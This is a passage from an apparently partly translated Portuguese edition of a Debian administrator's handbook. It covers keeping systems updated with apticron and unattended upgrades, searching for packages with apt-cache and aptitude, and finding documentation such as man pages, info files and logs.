mudado). Além disso, alguns bugs podem passam despercebidos apesar da fase de testes pela
qual o lançamento do Debian sempre passa.
Para antecipar alguns destes problemas, você pode instalar o pacote apt-listchanges, que mos-
tra informações sobre possíveis problemas no início de uma atualização de pacotes. Esta in-
formação é compilada pelos mantenedores de pacote e colocada em arquivos /usr/share/
doc/package/NEWS.Debian para os usuários usarem. A leitura destes arquivos (possivelmente
através do apt-listchanges) pode evitar surpresas desagradáveis.
Ás vezes você descobre que uma nova versão de um software não funciona de jeito nenhum.
Isto geralmente acontece se a aplicação não é muito popular e não foi testada o suficiente; uma
atualização que acabou de acontecer também pode introduzir regressões que são encontradas
apenas no lançamento estável (”stable”). Em ambos os casos, a primeira coisa a fazer é olhar o
sistema de rastreamento de bugs em https://bugs.debian.org/pacote, e verificar se o problema
já foi relatado. Se não tiver sido, você mesmo pode relatá-lo com o reportbug. Se ele já é co-
nhecido, o bug report e as mensagens associadas a ele normalmente são uma excelente fonte de
informações relativas ao bug:
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• algumas vezes um patch já existe, e está disponível no bug report; você pode recompi-
lar uma versão consertada de um pacote quebrado localmente (see Seção 15.1, “Recons-
truindo um Pacote a partir de suas Fontes” [440]);

• Em outros casos, os usuários podem encontrar uma gambiarra para o problema e compar-
tilhar suas ideias nas respostas do bug report;

• em outros casos, um pacote consertado já pode ter sido preparado e publicado pelo man-
tenedor.

Dependendo da severidade do bug, uma nova versão do pacote pode ser preparada especifica-
mente para umanova revisão do lançamento estável. Quando isto acontece, o pacote consertado
é disponibilizado na seção proposed-updates dos espelhos Debian (veja Seção 6.1.2.3, “Atualiza-
ções Propostas” [107]). A entrada correspondente pode então ser adicionada temporariamente
ao arquivo sources.list, e pacotes atualizados podem ser instalados com apt ou aptitude.
Por vezes, o pacote consertado não fica disponível nesta seção por faltar a validação de alguma
pendência dos Stable Release Managers. Você pode verificar se este é o caso na página deles.
Pacotes listados lá ainda não foramdisponibilizados, mas pelomenos você saberá que o processo
de publicação está andando.
è https://release.debian.org/proposed-updates/stable.html

6.7. Mantendo um Sistema Atualizado

A distribuição Debian é dinâmica e muda continuamente. A maioria das mudanças ficam nas
versões Testing e Unstable, mas mesmo a Stable é atualizada de tempos em tempos, geralmente
por algo relativo a segurança. Qualquer que seja a versão do Debian que o sistema rodar, é ge-
ralmente uma boa ideia mantê-la atualizada, de forma que você possa se beneficiar das recentes
evoluções e consertos de bug.
Mesmo que seja obviamente possível executar periodicamente uma ferramenta para verificar
por atualizações disponíveis e executar as atualizações, tal tarefa repetitiva é tediosa, especial-
mente quando for feita em várias máquinas. Felizmente, assim comomuitas tarefas repetitivas,
ela pode ser parcialmente automatizada, e um conjunto de ferramentas já foi desenvolvido para
isto.
A primeira destas ferramentas é a apticron, no pacote de mesmo nome. Seu principal efeito é
executar um script diariamente (via cron). O script atualiza a lista de pacotes disponíveis, e, se
alguns pacotes instalados não estão na versão mais recente, ele envia um email com uma lista
destes pacotes e com as mudanças que foram feitas nas novas versões. Obviamente, este pacote
foca principalmente em usuários do Debian Stable, já que os emails diários podem ser muito
longos para versões de ritmo mais rápido do Debian. Quando atualizações são disponibilizadas,
o apticron automaticamente baixa elas. Mas não as instala — o administrador ainda tem que
fazer isto — mas ter os pacotes já baixados e disponíveis localmente (no cache do APT) torna o
serviço mais rápido.
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Administrators in charge of several computers will no doubt appreciate being informed of pen-
ding upgrades, but the upgrades themselves are still as tedious as they used to be. Periodic
upgrades can be enabled: it uses a systemd timer unit or cron. If systemd is not installed the
/etc/cron.daily/apt-compat script (in the apt package) comes in handy. This script is run
daily (and non-interactively) by cron. To control the behavior, use APT configuration variables
(which are therefore stored in a file /etc/apt/apt.conf.d/10periodic). The main variables
are:

APT::Periodic::Update-Package-Lists Esta opção especifica a frequência (em dias) na qual
a lista de pacotes é atualizada. Usuários do apticron podem seguir sem esta variável, já
que o apticron já faz esta tarefa.

APT::Periodic::Download-Upgradeable-Packages De novo, esta opção indica uma
frequência (em dias), agora para o download dos pacotes em si. Novamente, os usuários
do apticron não precisam disto.

APT::Periodic::AutocleanInterval Esta opção cobre uma funcionalidade que o apticron
não tem. Ela controla quão frequentemente pacotes obsoletos (aqueles não referenciados
por mais nenhuma distribuição) são removidos do cache do APT. Isto mantém o cache do
APT num tamanho razoável e evita que você tenha que se preocupar com esta tarefa.

APT::Periodic::Unattended-Upgrade Quando esta opção está ativada, o script será execu-
tado diariamente unattended-upgrade (do pacote unattended-upgrades) que - como o pró-
prio nome sugere - pode automatizar o processo de atualização de alguns pacotes (por pa-
drão, ele só cuida de atualizações de segurança, mas isso pode ser personalizado em /etc/
apt/apt.conf.d/50unattended-upgrades). Observe que esta opção pode ser definida
com a ajuda de debconf executando dpkg-reconfigure -plow unattended-upgrades.

Other options can allow you to control the cache cleaning behavior with more precision. They
are not listed here, but they are described in the /usr/lib/apt/apt.systemd.daily script.
These tools work very well for servers, but desktop users generally prefer a more interactive
system. The package gnome-packagekit provides an icon in the notification area of desktop en-
vironments when updates are available; clicking on this icon then runs gpk-update-viewer,
a simplified interface to perform updates. You can browse through available updates, read the
short description of the relevant packages and the corresponding changelog entries, and select
whether to apply the update or not on a case-by-case basis.
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Figura 6.3 Atualizando com gpk-update-viewer

This tool is no longer installed in the default GNOME desktop. The new philosophy is that se-
curity updates should be automatically installed, either in the background or, preferably, when
you shutdown your computer so as to not confuse any running application.

6.8. Atualizações Automáticas

Como a Falcot Corp tem muitos computadores mas pouca mão de obra, seus administradores
tentam tornar as atualizações o mais automáticas possível. Os programas encarregados destes
processos devem portanto rodar sem intervenção humana.

6.8.1. Configurando dpkg

Como já mencionamos (veja a barra lateral Evitando as perguntas do arquivo de configuração
[87]), o dpkg pode ser instruído a não pedir confirmação quando for substituir um arquivo de
configuração (com as opções --force-confdef --force-confold). Interações podem, entretanto, vir
de outras origens: algumas vêm do próprio APT, algumas são manipuladas pelo debconf e algu-
mas acontecem na linha de comando devido a scripts de configuração do pacote.
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6.8.2. Configurando APT

No caso do APT é simples: a opção -y (ou --assume-yes) diz ao APT para considerar a resposta a
todas as perguntas como sendo “sim”.

6.8.3. Configurando debconf

o caso do debconf merece mais detalhes. Este programa foi, desde sua concepção, projetado
para controlar a relevância e a quantidade das perguntas mostradas ao usuário, assim como
a forma como são exibidas. É por isto que sua configuração requer uma prioridade mínima
para perguntas; apenas perguntas acima da prioridade mínima são exibidas. O debconf supõe a
resposta padrão (definida pelo mantenedor do pacote) para perguntas que ele decidiu pular.
O outro elemento de configuração relevante é a interface usada pelo front-end. Se você escolher
noninteractive, toda interface de usuário será desabilitada. Se um pacote tenta exibir uma nota
informativa, ele vai ser enviado ao administrador via email.
Para reconfigurar o debconf, use a ferramenta dpkg-reconfigure do pacote debconf ; o co-
mando relevante é o dpkg-reconfigure debconf. Note que os valores configurados podem
ser temporariamente sobreescritos com variáveis de ambiente quando necessário (por exemplo,
DEBIAN_FRONTEND controla a interface, como documentado na página de manual debconf(7)).

6.8.4. Lidando com Interações Via Linha de Comando

A última fonte de interações, e a mais difícil de esconder, são os scripts de configuração executa-
dos pelo dpkg. infelizmente não existe solução padrão, e nenhuma resposta é substancialmente
melhor que outra.
A abordagem normal é suprimir a entrada padrão redirecionando o conteúdo vazio de /dev/
null nela com comando </dev/null, ou alimentá-la com um fluxo infinito de newlines. Ne-
nhum destes métodos é 100% confiável, mas eles em geral levam a respostas padrão sendo pre-
enchidas, uma vez que a maioria dos scripts consideram a ausência de resposta como uma acei-
tação do valor padrão.

6.8.5. A Combinação Miraculosa

Combinando os elementos anteriores, é possível projetar um scrips pequeno mas muito confiá-
vel que possa manipular atualizações automáticas.

Exemplo 6.4 Roteiro de atualização não interativa

export DEBIAN_FRONTEND=noninteractive
yes ’’ | apt-get -y -o DPkg::options::=”--force-confdef” -o DPkg::options::=”--force-

å confold” dist-upgrade
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NÁ PRÁTICA

O caso Falcot Corp
Os computadores da Falcot formam um sistema heterogêneo, commáquinas tendo
muitas funções. Os administradores vão portanto pegar a solução mais relevante
para cada computador.

In practice, the servers running Stretch are configured with the “miracle combina-
tion” above, and are kept up to date automatically. Only the most critical servers
(the firewalls, for instances) are set up with apticron, so that upgrades always
happen under the supervision of an administrator.

The office workstations in the administrative services also run Stretch, but they are
equipped with gnome-packagekit, so that users trigger the upgrades themselves.
The rationale for this decision is that if upgrades happen without an explicit ac-
tion, the behavior of the computer might change unexpectedly, which could cause
confusion for the main users.

No laboratório, os poucos computadores que usam Testing — para usufruir das
últimas atualizações de software — também não são atualizados automaticamente.
Os administradores configuraram o APT apenas para preparar as atualizações mas
não para as ativarem; quando eles decidem atualizar (manualmente), a parte chata
de renovar a lista de pacotes e baixar os pacotes é evitada, e os administradores
podem focar na parte realmente útil.

6.9. Buscando por Pacotes

Com a grande e crescente quantidade de software no Debian, surge um paradoxo: o Debian nor-
malmente tem uma ferramenta para a maioria das tarefas, mas pode ser muito difícil de achá-la
namultidão de outros pacotes. A ausência de formas apropriadas de buscar (e encontrar) a ferra-
menta certa é um problema de longa data. Felizmente, este problema foi quase completamente
resolvido.
A busca mais trivial possível é procurar pelo nome exato de um pacote. Se apt show pacote
retorna um resultado, então o pacote existe. Infelizmente, para isto é necessário saber ou chutar
o nome do pacote, o que nem sempre é possível.

DICA

Convenções de nomes de
pacote

Algumas categorias de pacotes são batizados de acordo com um esquema de no-
menclatura convencional; saber o esquema às vezes ajuda a adivinhar o nome exato
dos pacotes. Por exemplo, para módulos Perl, a convenção diz que um módulo
chamado XML::Handler::Composer no desenvolvimento principal deve ser empa-
cotado como libxml-handler-composer-perl. A biblioteca que habilita o uso do
sistema gconf pelo Python é empacotada como python-gconf. Infelizmente não
é possível definir um esquema de nomenclatura totalmente geral para todos os
pacotes, mesmo que os mantenedores normalmente tentem seguir a escolha dos
desenvolvedores principais.

Umpadrão de busca umpoucomais bem-sucedido é uma busca simples e nomes de pacotes, mas
isto ainda é bem limitado. Você pode geralmente encontrar resultados buscando nas descrições
de pacotes: como cada pacote tem uma descrição mais ou menos detalhada além do nome do
pacote, uma busca por palavra-chave nestas descrições frequentemente será útil. apt-cache e
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axi-cache são as ferramentas para este tipo de busca; por exemplo, apt-cache search video
retornará uma lista de todos os pacotes que tenham a palavra-chave ”video” no nome ou na
descrição.
Para buscas mais complexas, uma ferramenta mais poderosa como o aptitude é necessária.
aptitude pode fazer uma busca de acordo com expressões lógicas baseadas em campos de me-
tadados dos pacotes. Por exemplo, o seguinte comando busca por pacotes cujo nome contenha
kino, cuja descrição contenha video e cujo nome do mantenedor contenha paul:
$ aptitude search kino~dvideo~mpaul
p kino - Non-linear editor for Digital Video data
$ aptitude show kino
Package: kino
Version: 1.3.4-2.2+b2
State: not installed
Priority: extra
Section: video
Maintainer: Paul Brossier <piem@debian.org>
Architecture: amd64
Uncompressed Size: 8300 k
Depends: libasound2 (>= 1.0.16), libatk1.0-0 (>= 1.12.4), libavc1394-0

(>= 0.5.3), libavcodec57 (>= 7:3.2.4) | libavcodec-extra57 (>=
7:3.2.4), libavformat57 (>= 7:3.2.4), libavutil55 (>= 7:3.2.4), libc6
(>= 2.14), libcairo2 (>= 1.2.4), libdv4 (>= 1.0.0), libfontconfig1
(>= 2.11), libfreetype6 (>= 2.2.1), libgcc1 (>= 1:3.0),
libgdk-pixbuf2.0-0 (>= 2.22.0), libglade2-0 (>= 1:2.6.4-2~), libglib2.0-0
(>= 2.16.0), libgtk2.0-0 (>= 2.24.0), libice6 (>= 1:1.0.0),
libiec61883-0 (>= 1.2.0), libpango-1.0-0 (>= 1.14.0), libpangocairo-1.0-0
(>= 1.14.0), libpangoft2-1.0-0 (>= 1.14.0), libquicktime2 (>=
2:1.2.2), libraw1394-11, libsamplerate0 (>= 0.1.7), libsm6, libstdc++6
(>= 5.2), libswscale4 (>= 7:3.2.4), libx11-6, libxext6, libxml2 (>=
2.7.4), libxv1, zlib1g (>= 1:1.1.4)

Recommends: ffmpeg, curl
Suggests: udev | hotplug, vorbis-tools, sox, mjpegtools, lame, ffmpeg2theora
Conflicts: kino-dvtitler, kino-timfx, kinoplus, kino-dvtitler:i386, kino-timfx:i386,

kinoplus:i386, kino:i386
Replaces: kino-dvtitler, kino-timfx, kinoplus, kino-dvtitler:i386, kino-timfx:i386,

kinoplus:i386
Provides: kino-dvtitler, kino-timfx, kinoplus
Description: Non-linear editor for Digital Video data
Kino allows you to record, create, edit, and play movies recorded with DV camcorders

å .
This program uses many keyboard commands for fast navigating and editing inside the
movie.

The kino-timfx, kino-dvtitler and kinoplus sets of plugins, formerly distributed as
separate packages, are now provided with Kino.
Homepage: http://www.kinodv.org/
Tags: field::arts, hardware::camera, implemented-in::c, implemented-in::c++,

interface::graphical, interface::x11, role::program, scope::application,
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suite::gnome, uitoolkit::gtk, use::editing, use::learning,
works-with::video, x11::application

A busca retorna apenas um pacote, kino, que satisfaz os três critérios.
Mesmo estas buscas multi-critério são bastante ”desajeitadas”, o que explica por que elas não
são usadas tanto quanto poderiam. Um novo sistema de etiquetas foi portanto desenvolvido, e
fornece uma nova abordagem de busca. Pacotes recebem etiquetas que fornecem classificação
temática através de vários pontos de vista, conhecidos como uma ”classificação baseada em
facetas” (”facet-based classification”). No caso do kino acima, as etiquetas do pacote indicam
que o Kino é um software baseado em gnome que trabalha com dados de vídeo e tem como
função principal edição.
Browsing this classification can help you to search for a package which corresponds to known
needs; even if it returns a (moderate) number of hits, the rest of the search can be donemanually.
To do that, you can use the ~G search pattern in aptitude, but it is probably easier to simply
navigate the site where tags are managed:
è https://debtags.debian.org/

Selecionando as marcas works-with::video e use::editing produz um punhado de pacotes, in-
cluindo o editor de vídeo kino e pitivi. Este sistema de classificação é obrigado a ser usado cada
vezmais enquanto o tempo passa, e gerenciadores de pacotes irão gradualmente fornecer inter-
faces de busca eficientes baseados nele.
Para sumarizar, a melhor ferramenta para o trabalho depende da complexidade da busca que
você deseja fazer:

• Como apt-cache só se pode fazer busca emnomes e descrições de pacotes, que é bastante
conveniente quando se busca por umpacote emparticular que casa comalgumas palavras-
chave;

• Quando o critério de busca também inclui relações entre pacotes ou outros meta-pacotes
como o nome do mantenedor, o synaptic será mais útil;

• Quando uma busca por etiquetas é necessária, uma boa ferramenta é o packagesearch,
uma interface gráfica dedicada a buscar pacotes disponíveis através de vários critérios
(inclusive os nomes dos arquivos que eles contém) Para o uso na linha de comando,
axi-cache irá ajustar a conta.

• finalmente, quando a busca envolve expressões complexas com operações lógicas, a me-
lhor ferramenta é a sintaxe de padrões de busca do aptitude, que é bastante poderosa
apesar de um pouco obscura; e funciona tanto no modo de linha de comando quanto no
modo interativo.
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Para um administrador, a habilidade mais importante é ser capaz de lidar com qualquer situação,
conhecida ou desconhecida. Este capítulo apresenta uma série de métodos que - esperamos - permitam
isolar a causa de qualquer problema que você vai encontrar, de modo que você pode ser capaz de
resolvê-los.



7.1. Fontes de documentação

Antes que você possa entender o que está realmente acontecendo quando há umproblema, você
precisa conhecer o papel teórico desempenhado por cada programa envolvido no problema.
Para fazer isso, a melhor coisa a fazer é consultar a documentação; mas uma vez que estes
documentos são muitos e dispersos, você deve conhecer todos os lugares onde podem ser en-
contrados.

7.1.1. Páginas de Manual

CULTURA

RTFM
Esta sigla significa ”Read the F**king Manual” - ”Leia a P*rra do Manual”, mas
também pode ser expandida em uma variante mais amigável, ”Read the Fine Ma-
nual” - ”Leia o Excelente Manual”. Esta frase é usada às vezes como uma resposta
(resumida) para perguntas dos novatos. É um pouco abrupta, e denuncia um certo
incômodo emuma pergunta feita por alguémque nem sequer se preocupou em ler a
documentação. Alguns dizem que esta resposta clássica é melhor do que nenhuma
resposta (já que indica que a documentação contém as informações solicitadas), ou
do que uma resposta mais longa e agressiva.

Em qualquer caso, se alguém responde ”RTFM” para você, muitas vezes é sábio não
se ofender. Uma vez que esta resposta pode ser percebida como irritante, você pode
querer tentar evitar recebê-la. Se a informação que você precisa não está nomanual,
o que pode acontecer, você pode dizer isto, de preferência na sua pergunta inicial.
Você também deve descrever as várias etapas que você pessoalmente realizou para
encontrar informações antes de você levantar uma questão em um fórum. Seguir
as orientações de Eric Raymond é uma boa maneira de evitar os erros mais comuns
e obter respostas úteis.

è http://catb.org/~esr/faqs/smart-questions.html

(em inglês)

Páginas demanual, apesar de relativamente concisas em estilo, contêm uma grande quantidade
de informações essenciais. Vamos rapidamente passar pelos comandos para visualizá-los. Basta
digitar man manual-page - a página do manual normalmente atende pelo mesmo nome que o
comando cuja documentação é solicitada. Por exemplo, para aprender sobre as opções possíveis
para o comando cp, você deve digitar man cp no prompt do shell (veja barra lateral O shell, um
interpretador de linha de comando [140]).

DE VOLTA AO BÁSICO

O shell, um interpretador
de linha de comando

Um interpretador de linha de comando, também chamado de ”shell”, é um pro-
grama que executa comandos que são ou inseridos pelo usuário ou armazenados
em um script. No modo interativo, ele exibe um prompt (geralmente terminando
em $ para um usuário normal, ou por # para um administrador) indicando que ele
está pronto para ler um novo comando. Apêndice B, Curso Rápido de Reparação
[467] descreve os fundamentos para usar o shell.

O shell padrão e mais comumente usado é o bash (Bourne Again SHell), mas exis-
tem outros, incluindo dash, csh, tcsh e zsh.
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Entre outras coisas, a maioria dos shells oferecem ajuda no prompt durante a en-
trada, tais como a conclusão de nomes de comandos ou um arquivo (que você ativa
apertando geralmente a tecla tab), ou recordando comandos anteriores (gestão de
histórico).

Páginas man não apenas documentam programas acessíveis a partir da linha de comando, mas
também arquivos de configuração, chamadas de sistema, funções de biblioteca C, e assim por
diante. Às vezes os nomes podem colidir. Por exemplo, o comando read do shell tem o mesmo
nome que a chamada de sistema read. É por isso que as páginas de manual são organizadas em
seções numeradas:

1. comandos que podem ser executados da linha de comando;
2. chamadas de sistema (funções disponibilizadas pelo kernel);
3. funções da biblioteca (fornecidas pelas bibliotecas do sistema);
4. dispositivos (em sistemas similares ao Unix, estes são arquivos especiais, geralmente co-

locados no diretório /dev/);
5. arquivos de configuração (formatos e convenções)
6. jogos;
7. conjunto de macros e padrões
8. comandos de administração do sistema;
9. rotinas do núcleo.

É possível especificar a seção da página do manual que você está procurando: para ver a docu-
mentação para o chamada de sistema read, você deve digitar man 2 read. Quando a seção não é
especificada explicitamente, a primeira seção que tiver uma página de manual com o nome soli-
citado será mostrada. Assim, man shadow retorna shadow(5) porque não há páginas de manual
para shadow nas seções de 1 a 4.

DICA

whatis

Se você não quer ler a página demanual completa, mas apenas uma descrição breve
para confirmar que é o que você está procurando, basta digitar whatis comando.

$ whatis scp
scp (1) - secure copy (remote file copy program)

Esta pequena descrição está incluída na seção NOME no início de todas as páginas
de manual.

obviamente que se você não sabe os nomes dos comandos, o manual não vai ser de muita utili-
dade para você. Este é o propósito do comando apropos, o que ajuda você a realizar uma busca
nas páginas de manual, ou mais especificamente em suas descrições curtas. Cada página do
manual começa essencialmente com um resumo de uma linha. apropos retorna uma lista de
páginas de manual que mencionam a(s) palavra(s)-chave solicitada(s). Se você escolher bem,
você encontrará o nome do comando que você precisa.
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Exemplo 7.1 Procurando cp com apropos

$ apropos ”copy file”
cp (1) - copy files and directories
cpio (1) - copy files to and from archives
gvfs-copy (1) - Copy files
gvfs-move (1) - Copy files
hcopy (1) - copy files from or to an HFS volume
install (1) - copy files and set attributes
ntfscp (8) - copy file to an NTFS volume.

DICA

Navegando através de
links

Muitas páginas do manual têm uma seção ”VEJA TAMBÉM”, geralmente no final.
Refere-se a outras páginas demanuais relevantes para comandos semelhantes, ou a
documentação externa. Desta forma, é possível encontrar documentação relevante,
mesmo quando a primeira escolha não é ótima.

The man command is not the only means of consulting the manual pages, since khelpcenter
and konqueror (by KDE) and yelp (under GNOME) programs also offer this possibility. There
is also a web interface, provided by the man2html package, which allows you to view manual
pages in a web browser. On a computer where this package is installed, use this URL:
è http://localhost/cgi-bin/man/man2html

Este utilitário requer um servidor web. É por isso que você deve optar por instalar este pacote
em um dos servidores: todos os usuários da rede local poderão se beneficiar deste serviço (in-
cluindo máquinas não-Linux), e isso permitirá que você não configure um servidor HTTP em
cada estação de trabalho. Se o seu servidor também é acessível a partir de outras redes, pode
ser desejável restringir o acesso a este serviço apenas para usuários da rede local.
Last but not least, you can view all manual pages available in Debian (even those that are not
installed on your machine) on the manpages.debian.org service. It offers each manual page in
multiple versions, one for each Debian release.
è https://manpages.debian.org

POLÍTICA DEBIAN

Páginas de manual
necessárias

O Debian requer que cada programa tenha uma página de manual. Se o autor
original não fornecer uma, o mantenedor do pacote Debian normalmente irá escre-
ver uma página mínima que dirá ao leitor, no mínimo, o local da documentação
original.

7.1.2. Documentos de info

O projeto GNU escreveu manuais para a maioria de seus programas no formato info; é por isso
que muitas páginas do manual referem-se à documentação info correspondente. Esse formato
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oferece algumas vantagens, mas o programa padrão para ver estes documentos (chamado info)
é também um pouco mais complexo. Esteja você aconselhado a usar o pinfo em seu lugar (do
pacote pinfo).
A documentação info tem uma estrutura hierárquica, e se você invocar pinfo sem parâmetros,
ele irá mostrar uma lista de nós disponíveis no primeiro nível. Normalmente, os nós levam o
nome dos comandos correspondentes.
Com o pinfo a navegação por esses nós é facilmente feita através das teclas de seta. Alterna-
tivamente, você também pode usar um navegador gráfico, que é muito mais amigável com o
usuário. Mais uma vez, o konqueror e o yelp funcionam; o info2www também fornece uma
interface web.
è http://localhost/cgi-bin/info2www

Observe que o sistema info não é adequado para tradução, ao contrário do Sistema de página
man. Documentos info são, portanto, quase sempre em Inglês. No entanto, quando você pedir ao
sistema pinfo para exibir uma página info inexistente, ele retornará a páginaman com omesmo
nome (se existir), que pode estar traduzida.

7.1.3. Documentação Específica

Cada pacote inclui a sua própria documentação. Mesmo os programas mais mal documentados
costumam ter um arquivo README que contém algumas informações interessantes e/ou impor-
tantes. Esta documentação está instalada no diretório /usr/share/doc/pacote/ (onde pacote
é o nome do pacote). Se a documentação é particularmente grande, não pode ser incluída no
pacote principal do programa, mas pode ser transferida para um pacote dedicado que normal-
mente é chamado pacote-doc. O pacote principal geralmente recomenda o pacote de documen-
tação para que você possa encontrá-lo facilmente.
O diretório /usr/share/doc/package/ também contém alguns arquivos fornecidos pelo De-
bian que completam a documentação especificando as particularidades do pacote ou melho-
rias em relação a uma instalação tradicional do software. O arquivo README.Debian tam-
bém indica todas as adaptações que foram feitas para cumprir com a política Debian. O ar-
quivo changelog.Debian.gz permite ao usuário acompanhar as modificações feitas no pacote
ao longo do tempo: é muito útil para tentar entender o que mudou entre as duas versões
instaladas que não têm o mesmo comportamento. Finalmente, às vezes existe um arquivo
NEWS.Debian.gz que documenta as maiores mudanças no programa que pode diretamente se
referir ao administrador.

7.1.4. Paginas da Internet

Na maioria dos casos, os programas de software livre têm sites web que são usados para dis-
tribuir os programas e para reunir a comunidade de seus desenvolvedores e usuários. Estes
sites são freqüentemente carregados com informação relevante de várias formas: a documen-
tação oficial, FAQ (Frequently Asked Questions - Perguntas mais frequentes), arquivos de listas
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de discussão, etc. Os problemas que você pode estar tendo já podem ter sido o tema de mui-
tas perguntas; arquivos FAQ ou listas de discussão podem ter uma solução para ele. Um bom
domínio dos motores de busca provou ser imensamente valioso para encontrar páginas rele-
vantes rapidamente (restringindo a busca ao domínio da Internet ou sub-domínio dedicado ao
programa). Se a pesquisa retornar muitas páginas ou se os resultados não corresponderem ao
que você procura, você pode adicionar a palavra-chave debian para limitar os resultados e focar
nas informações relevantes.

DICAS

Do erro para a solução
Se o software retorna uma mensagem de erro muito específica, inseri-lo no mo-
tor de busca (entre aspas, ”, a fim de não procurar por palavras-chave individuais,
mas para a frase completa). Na maioria dos casos, os primeiros links retornados
conterão a resposta que você precisa.

Em outros casos, você vai ter erros muito gerais, como ”Permissão negada”. Neste
caso, o melhor é verificar as permissões dos elementos envolvidos (arquivos, iden-
tificação de usuário, grupos, etc).

If you do not know the address for the software’s website, there are various means of getting it.
First, check if there is aHomepage field in the package’smeta-information (apt show package).
Alternately, the package description may contain a link to the program’s official website. If no
URL is indicated, look at /usr/share/doc/package/copyright. The Debian maintainer gene-
rally indicates in this file where they got the program’s source code, and this is likely to be the
website that you need to find. If at this stage your search is still unfruitful, consult a free soft-
ware directory, such as FSF’s Free Software Directory, or search directly with a search engine,
such as Google, DuckDuckGo, Yahoo, etc.
è https://directory.fsf.org/wiki/Main_Page

Você também pode querer verificar o wiki Debian, um site colaborativo onde qualquer pessoa,
mesmo os simples visitantes, podem fazer sugestões diretamente dos seus navegadores. É utili-
zado igualmente pelos desenvolvedores, de modo a projetar e especificar seus projetos, e pelos
usuários que compartilham seu conhecimento escrevendo documentos de forma colaborativa.
è http://wiki.debian.org/

7.1.5. Tutoriais (HOWTO)

Um howto é um documento que descreve, em termos concretos e passo a passo, como atingir
uma meta pré-definida. Os objetivos cobertos são relativamente variados, mas muitas vezes de
natureza técnica: por exemplo, a criação demascara IP, configuração do softwareRAID, a instala-
ção de um servidor Samba, etc. Estes documentos geralmente tentam cobrir todos os potenciais
problemas susceptíveis de ocorrer durante a execução de uma determinada tecnologia.
Muitos desses tutoriais são gerenciados pelo Projeto de Documentação do Linux (LDP), cujo site
web hospeda todos estes documentos:
è http://www.tldp.org/
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Esses documentos devem ser tomados comumgrão de sal. Elas são velhos, a informação que eles
contêm é muito obsoleta. Este fenômeno é ainda mais freqüente para as suas traduções, uma
vez que as atualizações não são nem sistemáticas nem um instante após a publicação de uma
nova versão dos documentos originais. Isso faz parte da alegria de trabalhar em um ambiente
de voluntariado e sem restrições…

7.2. Procedimentos comuns

O objetivo desta seção é apresentar algumas dicas gerais sobre determinadas operações que um
administrador freqüentemente têm de realizar. Estes procedimentos é claro não cobrirao todos
os casos possíveis de forma exaustiva, mas podem servir como pontos de partida para os casos
mais difíceis.

DESCOBRIMENTO

Documentação em outros
idiomas

Muitas vezes, a documentação traduzida para uma língua não-Inglêsa está dispo-
nível em um pacote separado com o nome do pacote correspondente, seguido por
-lang (onde lang é o código de duas letras ISO para a linguagem).

Por exemplo, o pacote apt-howto-fr contém a tradução francesa do howto para
APT. Da mesma forma, os pacotes quick-reference-fr e debian-reference-fr são as
versões francesas dos guias de referência para o Debian (inicialmente escrito em
Inglês por Osamu Aoki).

7.2.1. Configurando um Programa

Quando você deseja configurar um pacote desconhecido, você deve proceder por etapas. Pri-
meiro, você deve ler o que o mantenedor do pacote tem documentado. Leitura /usr/share/
doc/pacote/README.Debian irá certamente permitir que você saiba de disposições específicas
feitas para simplificar o uso do software. Por vezes, é essencial, a fim de compreender as dife-
renças em relação ao comportamento original do programa, tal como descrito na documentação
geral, tais como howtos. Às vezes esse arquivo também detalham os erros mais comuns em or-
dem para que você evite perder tempo com problemas comuns.
Então, você deve olhar a documentação oficial do software - consulte a Seção 7.1, “Fontes de
documentação” [140] para identificar as várias fontes de documentação existente. O comando
dpkg-L pacote fornece uma lista de arquivos incluídos no pacote, você pode, portanto, iden-
tificar rapidamente a documentação disponível (bem como os arquivos de configuração, loca-
lizados em /etc/). dpkg-s pacote exibe os metadados do pacote e mostra todos os pacotes
possíveis recomendados ou sugeridos; lá, você pode encontrar a documentação ou um utilitário
que irá facilitar a configuração do software.
Finalmente, os arquivos de configuração são muitas vezes auto-documentados por muitos co-
mentários explicativos, detalhando os vários valores possíveis para cada configuração. Tanto
que às vezes é apenas o suficiente escolher uma linha para ativar entre as disponíveis. Em
alguns casos, exemplos de arquivos de configuração são fornecidos no diretório /usr/share/
doc/pacote/examples/. Eles podem servir de base para o seu próprio arquivo de configuração.
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POLITICA DEBIAN

Localizacao de exemplos
Todos os exemplos devem ser instalados no diretório /usr/share/
doc/pacote/examples/. Este pode ser um ficheiro de configuração, o código de
fonte do programa (um exemplo da utilização de uma biblioteca), ou um script de
conversão de dados que o administrador pode utilizar, em certos casos (tal como
para inicializar uma base de dados). Se o exemplo é específico para uma arquitetura
particular, ele deve ser instalado em /usr/lib/pacote/examples/ e deve haver
um link apontando para esse arquivo no /usr/share/doc/pacote/exemplos/.

7.2.2. Monitorando o que o Daemons esta fazendo

Entender o que um daemon faz é um pouco mais complicado, uma vez que não interagem dire-
tamente com o administrador. Para verificar se um daemon está realmente trabalhando, você
precisa testá-lo. Por exemplo, para verificar o daemon Apache (servidor web), testá-lo com uma
solicitação HTTP.
Para permitir esses testes, cada daemon geralmente registra tudo o que ele faz, bem como de
quaisquer erros que encontrar, no que são chamados ”arquivos de log” ou ”logs do sistema”.
Os logs são armazenados em /var/log/ ou um de seus subdiretórios. Para saber o nome exato
de um arquivo de log para cada daemon, consulte a documentação. Nota: um único teste nem
sempre é suficiente se não cobrir todos os casos de uso possíveis, alguns problemas só ocorrem
em determinadas circunstâncias.

FERRAMENTA

O daemon rsyslogd

rsyslogd é especial: ele coleta os logs (mensagens do sistema interno) que são envi-
ados a ele por outros programas. Cada entrada de log é associada a um subsistema
(e-mail, kernel autenticação, etc) e uma prioridade, rsyslogd processa essas duas
informações para decidir o que fazer. A mensagem de log pode ser gravada em vá-
rios arquivos de log e/ou enviados para um console de administração. Os detalhes
são definidos no arquivo de configuração /etc/rsyslog.conf (documentado na
página de manual com o mesmo nome).

Certas funções C, que são especializadas em registros de envio, simplificam o uso
do daemon rsyslogd. No entanto, alguns daemons gerem os seus próprios ar-
quivos de log (este é o caso, por exemplo, do samba, que implementa partes do
Windows no Linux).

Note que quando o systemd está em uso, os logs, na realidade, são coletados pelo
systemd antes de serem repassados para o rsyslogd. Sendo assim, eles estão dis-
poníveis via o ”journal” do systemd e podem ser consultados com o journalctl
(veja Seção 9.1.1, “O sistema init systemd” [193] para detalhes).

DE VOLTA AO BASICO

Daemon
Um daemon é um programa que não é explicitamente invocado pelo usuário e que
fica por tras, à espera de uma determinada condição ser cumprida antes de executar
uma tarefa. Muitos programas de servidor são daemons, um termo que explica que
a letra ”d” está freqüentemente presente no final do seu nome (sshd, smtpd, httpd,
etc.).

